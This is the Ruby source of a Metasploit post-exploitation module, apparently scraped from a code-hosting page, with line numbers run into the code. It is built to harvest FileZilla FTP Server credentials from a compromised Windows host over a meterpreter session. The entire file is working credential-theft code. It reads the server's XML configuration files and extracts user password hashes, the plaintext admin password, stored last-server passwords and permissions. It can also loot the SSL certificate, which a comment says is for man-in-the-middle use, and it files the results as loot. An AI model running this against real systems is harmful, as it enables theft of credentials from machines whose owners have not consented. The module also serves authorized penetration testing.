Path: blob/master/modules/post/windows/gather/credentials/filezilla_server.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',15'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },16'License' => MSF_LICENSE,17'Author' => [18'bannedit', # original idea & module19'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features20],21'Platform' => ['win'],22'SessionTypes' => ['meterpreter' ],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [],26'Reliability' => []27},28'Compat' => {29'Meterpreter' => {30'Commands' => %w[31core_channel_eof32core_channel_open33core_channel_read34core_channel_write35stdapi_registry_query_value_direct36stdapi_sys_config_getenv37stdapi_sys_config_getuid38]39}40}41)42)4344register_options([45OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM46])47end4849def run50if session.type != 'meterpreter'51print_error 'Only meterpreter sessions are supported by this post module'52return53end5455progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')56locations = []57progfiles_env.each_value do |v|58next if v.blank?5960locations << v + '\\FileZilla Server\\'61end6263keys = [64'HKLM\\SOFTWARE\\FileZilla Server',65'HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server',66]6768keys.each do |key|69begin70root_key, base_key = session.sys.registry.splitkey(key)71value = session.sys.registry.query_value_direct(root_key, base_key, 'install_dir')72rescue Rex::Post::Meterpreter::RequestError => e73vprint_error(e.message)74next75end76locations << value.data + '\\'77end7879locations = locations.uniq80filezilla = check_filezilla(locations)81get_filezilla_creds(filezilla) if filezilla82end8384def check_filezilla(locations)85paths = []86begin87locations.each do |location|88print_status("Checking for FileZilla Server directory in: #{location}")89begin90session.fs.dir.foreach(location.to_s) do |fdir|91['FileZilla Server.xml', 'FileZilla Server Interface.xml'].each do |xmlfile|92next unless fdir == xmlfile9394filepath = location + xmlfile95print_good("Configuration file found: #{filepath}")96paths << filepath97end98end99rescue Rex::Post::Meterpreter::RequestError => e100vprint_error(e.message)101end102end103rescue StandardError => e104print_error(e.to_s)105return106end107108if !paths.empty?109print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}")110print_line111return paths112end113114return nil115end116117def get_filezilla_creds(paths)118fs_xml = '' # FileZilla Server.xml - Settings for the local install119fsi_xml = '' # FileZilla Server Interface.xml - Last server used with the interface120credentials = Rex::Text::Table.new(121'Header' => 'FileZilla FTP Server Credentials',122'Indent' => 1,123'Columns' =>124[125'Host',126'Port',127'User',128'Password',129'SSL'130]131)132133permissions = Rex::Text::Table.new(134'Header' => 'FileZilla FTP Server Permissions',135'Indent' => 1,136'Columns' =>137[138'Host',139'User',140'Dir',141'FileRead',142'FileWrite',143'FileDelete',144'FileAppend',145'DirCreate',146'DirDelete',147'DirList',148'DirSubdirs',149'AutoCreate',150'Home'151]152)153154configuration = Rex::Text::Table.new(155'Header' => 'FileZilla FTP Server Configuration',156'Indent' => 1,157'Columns' =>158[159'FTP Port',160'FTP Bind IP',161'Admin Port',162'Admin Bind IP',163'Admin Password',164'SSL',165'SSL Certfile',166'SSL Key Password'167]168)169170lastserver = Rex::Text::Table.new(171'Header' => 'FileZilla FTP Last Server',172'Indent' => 1,173'Columns' =>174[175'IP',176'Port',177'Password'178]179)180181paths.each do |path|182file = session.fs.file.new(path, 'rb')183until file.eof?184if path.include? 'FileZilla Server.xml'185fs_xml << file.read186elsif path.include? 'FileZilla Server Interface.xml'187fsi_xml << file.read188end189end190file.close191end192193# user credentials password is just an MD5 hash194# admin pass is just plain text. Priorities?195creds, perms, config = parse_server(fs_xml)196197creds.each do |cred|198credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]199200service_data = {201address: session.session_host,202port: config['ftp_port'],203service_name: 'ftp',204protocol: 'tcp',205workspace_id: myworkspace_id206}207208credential_data = {209origin_type: :session,210jtr_format: 'raw-md5',211session_id: session_db_id,212post_reference_name: refname,213private_type: :nonreplayable_hash,214private_data: cred['password'],215username: cred['user']216}217218credential_data.merge!(service_data)219220credential_core = create_credential(credential_data)221222# Assemble the options hash for creating the Metasploit::Credential::Login object223login_data = {224core: credential_core,225status: Metasploit::Model::Login::Status::UNTRIED226}227228# Merge in the service data and create our Login229login_data.merge!(service_data)230create_credential_login(login_data)231end232233perms.each do |perm|234permissions << [235perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'],236perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'],237perm['dirsubdirs'], perm['autocreate'], perm['home']238]239end240241# report the goods!242if config['admin_pass'] == '<none>'243vprint_status('Detected Default Adminstration Settings:')244else245vprint_status('Collected the following configuration details:')246service_data = {247address: session.session_host,248port: config['admin_port'],249service_name: 'filezilla-admin',250protocol: 'tcp',251workspace_id: myworkspace_id252}253254credential_data = {255origin_type: :session,256session_id: session_db_id,257post_reference_name: refname,258private_type: :password,259private_data: config['admin_pass'],260username: 'admin'261}262263credential_data.merge!(service_data)264265credential_core = create_credential(credential_data)266267# Assemble the options hash for creating the Metasploit::Credential::Login object268login_data = {269core: credential_core,270status: Metasploit::Model::Login::Status::UNTRIED271}272273# Merge in the service data and create our Login274login_data.merge!(service_data)275create_credential_login(login_data)276end277278vprint_status(" FTP Port: #{config['ftp_port']}")279vprint_status(" FTP Bind IP: #{config['ftp_bindip']}")280vprint_status(" SSL: #{config['ssl']}")281vprint_status(" Admin Port: #{config['admin_port']}")282vprint_status(" Admin Bind IP: #{config['admin_bindip']}")283vprint_status(" Admin Pass: #{config['admin_pass']}")284vprint_line285286configuration << [287config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'],288config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']289]290291begin292lastser = parse_interface(fsi_xml)293lastserver << [lastser['ip'], lastser['port'], lastser['password']]294vprint_status('Last Server Information:')295vprint_status(" IP: #{lastser['ip']}")296vprint_status(" Port: #{lastser['port']}")297vprint_status(" Password: #{lastser['password']}")298vprint_line299rescue StandardError300vprint_error('Could not parse FileZilla Server Interface.xml')301end302loot_path = store_loot('filezilla.server.creds', 'text/csv', session, credentials.to_csv,303'filezilla_server_credentials.csv', 'FileZilla FTP Server Credentials')304print_status("Credentials saved in: #{loot_path}")305306loot_path = store_loot('filezilla.server.perms', 'text/csv', session, permissions.to_csv,307'filezilla_server_permissions.csv', 'FileZilla FTP Server Permissions')308print_status("Permissions saved in: #{loot_path}")309310loot_path = store_loot('filezilla.server.config', 'text/csv', session, configuration.to_csv,311'filezilla_server_configuration.csv', 'FileZilla FTP Server Configuration')312print_status(" Config saved in: #{loot_path}")313314loot_path = store_loot('filezilla.server.lastser', 'text/csv', session, lastserver.to_csv,315'filezilla_server_lastserver.csv', 'FileZilla FTP Last Server')316print_status(" Last server history: #{loot_path}")317318print_line319end320321def parse_server(data)322creds = []323perms = []324groups = []325settings = {}326users = 0327passwords = 0328329begin330doc = REXML::Document.new(data).root331rescue REXML::ParseException332print_error('Invalid xml format')333end334335opt = doc.elements.to_a('Settings/Item')336if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings337settings['admin_port'] = begin338opt[0].text339rescue StandardError340'<none>'341end342settings['ftp_port'] = 21343else344settings['ftp_port'] = begin345opt[0].text346rescue StandardError34721348end349settings['admin_port'] = begin350opt[16].text351rescue StandardError352'<none>'353end354end355settings['admin_pass'] = begin356opt[17].text357rescue StandardError358'<none>'359end360settings['local_host'] = begin361opt[18].text362rescue StandardError363''364end365settings['bindip'] = begin366opt[38].text367rescue StandardError368''369end370settings['ssl'] = begin371opt[42].text372rescue StandardError373''374end375376# empty means localhost only * is 0.0.0.0377if settings['local_host']378settings['admin_bindip'] = settings['local_host']379else380settings['admin_bindip'] = '127.0.0.1'381end382settings['admin_bindip'] = '0.0.0.0' if settings['admin_bindip'] == '*' || settings['admin_bindip'].empty?383384if settings['bindip']385settings['ftp_bindip'] = settings['bindip']386else387settings['ftp_bindip'] = '127.0.0.1'388end389settings['ftp_bindip'] = '0.0.0.0' if settings['ftp_bindip'] == '*' || settings['ftp_bindip'].empty?390391settings['ssl'] = settings['ssl'] == '1'392if !settings['ssl'] && datastore['SSLCERT']393print_error('Cannot loot the SSL Certificate, SSL is disabled in the configuration file')394end395396settings['ssl_certfile'] = begin397items[45].text398rescue StandardError399'<none>'400end401# Get the file if it is there. It could be useful in MITM attacks402if settings['ssl_certfile'] != '<none>' && settings['ssl'] && datastore['SSLCERT']403sslfile = session.fs.file.new(settings['ssl_certfile'])404sslcert << sslfile.read until sslfile.eof?405store_loot('filezilla.server.ssl.cert', 'text/plain', session, sslfile,406settings['ssl_cert'] + '.txt', 'FileZilla Server SSL Certificate File')407print_status('Looted SSL Certificate File')408end409410settings['ssl_certfile'] = '<none>' if settings['ssl_certfile'].nil?411412settings['ssl_keypass'] = begin413items[50].text414rescue StandardError415'<none>'416end417settings['ssl_keypass'] = '<none>' if settings['ssl_keypass'].nil?418419vprint_status('Collected the following credentials:') if doc.elements['Users']420421doc.elements.each('Users/User') do |user|422account = {}423opt = user.elements.to_a('Option')424account['user'] = begin425user.attributes['Name']426rescue StandardError427'<none>'428end429account['password'] = begin430opt[0].text431rescue StandardError432'<none>'433end434account['group'] = begin435opt[1].text436rescue StandardError437'<none>'438end439users += 1440passwords += 1441groups << account['group']442443user.elements.to_a('Permissions/Permission').each do |permission|444perm = {}445opt = permission.elements.to_a('Option')446perm['user'] = begin447user.attributes['Name']448rescue StandardError449'<unknown>'450end451perm['dir'] = begin452permission.attributes['Dir']453rescue StandardError454'<unknown>'455end456perm['fileread'] = begin457opt[0].text458rescue StandardError459'<unknown>'460end461perm['filewrite'] = begin462opt[1].text463rescue StandardError464'<unknown>'465end466perm['filedelete'] = begin467opt[2].text468rescue StandardError469'<unknown>'470end471perm['fileappend'] = begin472opt[3].text473rescue StandardError474'<unknown>'475end476perm['dircreate'] = begin477opt[4].text478rescue StandardError479'<unknown>'480end481perm['dirdelete'] = begin482opt[5].text483rescue StandardError484'<unknown>'485end486perm['dirlist'] = begin487opt[6].text488rescue StandardError489'<unknown>'490end491perm['dirsubdirs'] = begin492opt[7].text493rescue StandardError494'<unknown>'495end496perm['autocreate'] = begin497opt[9].text498rescue StandardError499'<unknown>'500end501perm['host'] = settings['ftp_bindip']502503opt[8].text == '1' ? (perm['home'] = 'true') : (perm['home'] = 'false')504505perms << perm506end507508user.elements.to_a('IpFilter/Allowed').each do |allowed|509end510user.elements.to_a('IpFilter/Disallowed').each do |disallowed|511end512513account['host'] = settings['ftp_bindip']514account['port'] = settings['ftp_port']515account['ssl'] = settings['ssl'].to_s516creds << account517518vprint_status(" Username: #{account['user']}")519vprint_status(" Password: #{account['password']}")520vprint_status(" Group: #{account['group']}") if account['group']521vprint_line522end523524# Rather than printing out all the values, just count up525groups = groups.uniq unless groups.uniq.nil?526if !datastore['VERBOSE']527print_status('Collected the following credentials:')528print_status(" Usernames: #{users}")529print_status(" Passwords: #{passwords}")530print_status(" Groups: #{groups.length}")531print_line532end533return [creds, perms, settings]534end535536def parse_interface(data)537lastser = {}538539begin540doc = REXML::Document.new(data).root541rescue REXML::ParseException542print_error('Invalid xml format')543return lastser544end545546opt = doc.elements.to_a('Settings/Item')547548opt.each do |item|549case item.attributes['name']550when /Address/551lastser['ip'] = item.text552when /Port/553lastser['port'] = item.text554when /Password/555lastser['password'] = item.text556end557end558559lastser['password'] = '<none>' if lastser['password'].nil?560561lastser562end563564def got_root?565session.sys.config.getuid =~ /SYSTEM/ ? true : false566end567568def whoami569session.sys.config.getenv('USERNAME')570end571end572573574